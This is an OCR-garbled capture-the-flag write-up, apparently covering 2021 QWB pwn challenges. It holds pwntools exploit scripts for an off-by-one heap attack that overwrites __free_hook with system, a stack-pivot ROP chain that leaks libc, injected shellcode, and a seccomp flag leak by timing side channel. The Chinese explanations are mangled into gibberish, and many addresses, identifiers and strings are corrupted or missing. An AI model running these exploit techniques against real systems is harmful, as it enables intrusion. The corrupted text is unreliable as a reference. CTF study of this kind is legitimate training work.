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A% 252 .31 off by one, ¥R 4L T

fioid _ fastcall sub_1528(unsigned int al, int a2)
2
2;

if <= 24 88 diary[s1] )
{
= diary[a1];
diary_size[al] = a2;
if ( |
b | TE *){a2 + 1LL + v2) = (*( TE *){aZ + 1LL + ) & @xF@) + sub_146E(al);
41
¥

2

fEsub_146e ™ =¥ f A\ B I AS CIS AR I F AR INAR AN, .. B 2132 B — A byte K%, SR JE I B4 A B 1 J5 — 47 1, BRI BATT AT A
FEIREHIRA K AR, AT H T —>chunk#size K/

inted4 _ fastcall sub_l46E(unsigned int al)

{

int i3 // [rsp+leh] [rbp-14h]

unsigned int v3; // [rsp+l4h] [rbp-18h]
if (a1l » 24 || !diary[al] )

return @xFFFFFFFFLL;
v3 = 8;
for ( 1 =8; 1 ¢ diary_size[al]; +1i )
3 4= *(unsigned _ intd *)(i + diary[al])};

while ( v3 > @xF )
3= (v3 x» 4) + (v3 & BxF);
return wv3;

TERE Se i R, BRAVEFFEHE & & chunk T, BT 253 p->fd->bk == p, p->bk->fd == pLA K prevsize == size, BATHE E HiF
—AMargebinffichunk, 48 J& B i — AN /N B chunk AT F F 7% B Ifd_size Fbk_size (IF & 2 IX A M RE I, % 1), 1 Nfakechunk#fd
Fbk, R B TEF 2 HEHE 00, A LLUX kB R A VBRd_sizeflbk_size M8 %5 — 47 A'\00’, 2 J& #1Tfakechunkfdf&
%, bk AR, K fd KB & Ak KIE-8BI AT, 2 J5 R jchunkA, B AR BN, BT LT fastbind (3 B &5 & K/ ifastbind E 45
A chunk, {75 chunkARIfdH BTis), Z )5 B 18 ERIE S — T, 15 chunkARIfd{E yfakechunk ik, 58 i BAJ& R BEGD T BT

X/8gx 0x553555560050
0x555555560050: 0x0000000000000000 0x0000000000000031

0x555555560060: 0x0000555555560060 0x0000000000000801
0x555555560070: 0x0000555555560048 0x0000555555560050
0x555555560080: 0x0000000000000000 0x0000000000000031

0050~ chunkA, 0060 ~fakechunk

unlink R4 1, BT PG B 3E —A~chunk, 28 5 & F"\X00 3 78, IXFEsk v] LARtinuse U RF S AL B0, SRR IR N E, BRI
—ANFEA, A DM Bl presize T, Z JEHLAT Blunlink T, 2 J5 B2 $T Ep ik, 128__ free_hook AysystemBfi a]

expilT:

from pwn import

def add(size, content
sh.recvuntil(
sh.sendline( )

sh.recvuntil( )
sh.sendline( (size))




sh.recvuntil(
sh.sendline(content)

show(idx):
sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))

delete(idx):
sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))

stop():
print (proc.pidof(sh))
pause()

pwn():
add(0x4c60)
[add(0x20) for i in (7)1
add (0x2000)
add(0x19)
delete(8)
add(0x3000)
add(0x20, p64(0)+p64(0x801)+p8(0x48))
add(0x20)
for i in (7):

delete(1+1i)
delete(11)
delete(19)
[add(©x20) for i in (7)1
add(0x20, p8(ex60))
add(0x1d0+0x801-0x251, p64(2)*10)
add(ex17)
delete(12)
add(0x800)
add(0x17, p64(0)*2+p32(08)+p8(8)*3)
add(0x19)
delete(13)
add(0x17, p64(0)+p64(8))
add (0xfbo)
delete(12)
add (ox49)
show(11)
sh.recvuntil( )
leak_addr=u64(sh.recv(6).1just(8,
print (leak_addr)
main_arena_offset=0x1ebb86
libc_base=1leak_addr-96-main_arena_offset
libc.address=1eak_addr-96-main_arena_offset

print (libc_base)
add(ox10)
add(0x10)
delete(17)
delete(16)
delete(13)
add(0x700)




add(0x10)

onegadget=[0xe6e73, Oxe6e76, Oxe6e79]

add(ex17, p64(libc.search( ). ())+p64(libc.sym[
delete(9)

sh.interactive()

if _ name__

while True:

sh=remote(
try:
pwn ()
except:
sh.close()

orw.:

—IT I EAIRTHIAR, Bt dishellcode SR A H#A] LA, 1 2R % & A HAT AT T

thule@thule-virtual-machine:~/ctf/2021gwb% checksec orw
[*]1 '/home/thule/ctf/2021qwb/orw’

Arch:

RELRO:

Stack:
NX:
PIE:
RWX:

BN A R&FULL RELROFT LA % F& Mtgot#& Nshellcode il 54T T, 4R )5 8
KEAIDE S R IEF K — P Read BEAF RN \0 ST RN KRR

|_inte4 fastcall sub DBE( BYTE *al, _ inte4 a2)
1
_BYTE *buf; // [rsp+8h] [rbp-18h]

unsigned int w4; // [rsp+l4h] [rbp-Ch]

N H
while ( 1 )

read(@, buf, 1ull);

+Hd;
if ( *buf == "\n" )
break;
if ( ++buf == &31[a2] )
return v4;
}
*but = @;

return wvd;
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[E B idx& A xR AT R, T4 AV E Sgotid it T %44
expil



from pwn import

e1f=ELF(
libc=elf.1libc

context(os

def pwn():
shellcode

sh.recv()

sh.sendline(
sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline("'")
sh.recvuntil( )
sh.sendline(asm(shellcode))
sh.recv()

sh.sendline(

sh.recv()

sh.sendline( )
sh.interactive()

if _ name__
while True:
sh=process(
sh=remote( e ELYS)
try:
pwn ()
except:
sh.close()

no output(tkiE#):




PRAS 2% H PHwepn K pwn b R st R Z AT AN ok, AEBIE, &8, BEd)l~

KB —THEF, K¥Rpartial relro, Frllpiffighgot®, EFFHET —BMEEKIN, openBFMwrite B RAFEEE—, B_(MRA
E), TRHEESopenAwrite T2 /EiEE, MHERN0 pieXA=2EIT?

REMRESRTR, RNMF ARG ebpMespHES%E, RIKKRENL £0x804c00+0xa00, =T N4 ZERH N EoxaoertF M RAM,
H J& sy stem B AT KIRHE S Ktk i bR B ox804bo0 £ i, TMIXMMIEATAE, 2SFEmovi iR

YT XA S TEHEREMES, BARia B, FREN \x00’ FHANE AR, FoARESFHFALNt32 minfl-1ft k8555 # Aread
, ZJEHEHAT —IERE BRI fake stackiutt, FIRHNJEHEHEHgadgetZ KM AR A&, fake stack LFHE Aread(0, elf.got[ ‘open’
1, ox100), BH Awrite, ZE4PIFik/EHEM~Ecall openiifl X Fwrite(1l, elf.got[‘read’], 0Ox4), wiittdE 7 ok, /FHEE4ED
— FER AT Lhgetshell T

from pwn import

context.arch
leave_ret=0x80491a5
ret_addr=0x0804900e
read_100_addr=0x08049236
def pwn():
sh.sendline( 1)
print (proc.pidof(sh))

payload=p8(0)*2

sh.sendline(payload)

sleep(1)

sh.sendline( (-2147483648))

sh.sendline( (-1))
payloadl=p32(0)*0x12+p32(0x0804COBO-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804cOb0-4+0xa00)+p32(0x1000)

payload2=p32(0x804c0c4+0xad0)+p32(0x804925b)+p32(0)+p32(elf.got[ 1)+p32(0x100)+p32(leave_ret)+p32(0x804
c0e0+0xa00)+p32(0x804936F )+p32(1)+p32(elf.got[ 1)+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32
(0)+p32(0x804cofc+0xa00)+p32(0x100)

sh.sendline(payloadl)

sh.sendline(payload2)

sh.send(p16(0x4c90))

read_addr=u32(sh.recv())

log.success( (read_addr))

libc.address=read_addr-1libc.sym[ ]

log.success( (libc.sym[ 1))

libc_base=read_addr-1libc.sym[ ]
sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym| 1)+p32(0)+p32(libc.search(
sh.interactive()

while True:

sh=remote(
try:
pwn ()
except:
sh.close()




shellcode:

XS WE RFA UM

S Hseccomp-tools & E, KB mmapFiread™] H, T & %&mmap— 2518, SR 5 VI #H i $, Hkread shellcode(shellcode 45l F
shellcode_encoder-masterfimsfgmfl geid W), 2 j5ifagist N WA7, 5 F cmp B3R R AL AT, B 5 BHEEITED
—SexpllF:

from pwn import

context(log_level

def pwn(sh, index, ch):
append_x86

shellcode_x86

shellcode_flag

if index OF

shellcode_flag
else:

shellcode_flag
shellcode x86 = asm(shellcode_x86)
shellcode_flag asm(shellcode flag,arch
shellcode
append

shellcode_mmap



https://www.bilibili.com/video/BV1VM4y1u7ry/

shellcode_read

shellcode_retfq




shellcode shellcode_mmap
shellcode append
shellcode shellcode_read
shellcode append

shellcode shellcode_retfq
shellcode append

shellcode asm(shellcode,arch
sh.sendline(shellcode)

sh.sendline(shellcode x86 + ©x29 shellcode_flag)

for ch in (ox20, 127):
sh remote ( , 50050)
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
PERS
end = time.time()
sh.close()
if end start
t.append(ch)
print("".join([ (i) for i in t]))
break
else:
print("".join([ (i) for i in t]))
break
index index
print(t)

log.success("".join([ (i) for i in t]))
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